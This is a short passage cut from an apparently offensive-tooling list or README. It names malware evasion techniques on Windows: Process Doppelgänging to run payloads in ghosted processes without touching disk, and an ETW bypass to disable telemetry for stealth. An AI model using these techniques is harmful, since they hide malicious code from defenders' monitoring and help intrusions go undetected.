instead of creating new ones. 36 | 4️⃣ **Process Doppelgänging** → Execute payloads in ghosted processes without touching disk. 37 | 5️⃣ **ETW (Event Tracing for Windows) Bypass** → Disable telemetry tracking for enhanced stealth. 38 | --------------------------------------------------------------------------------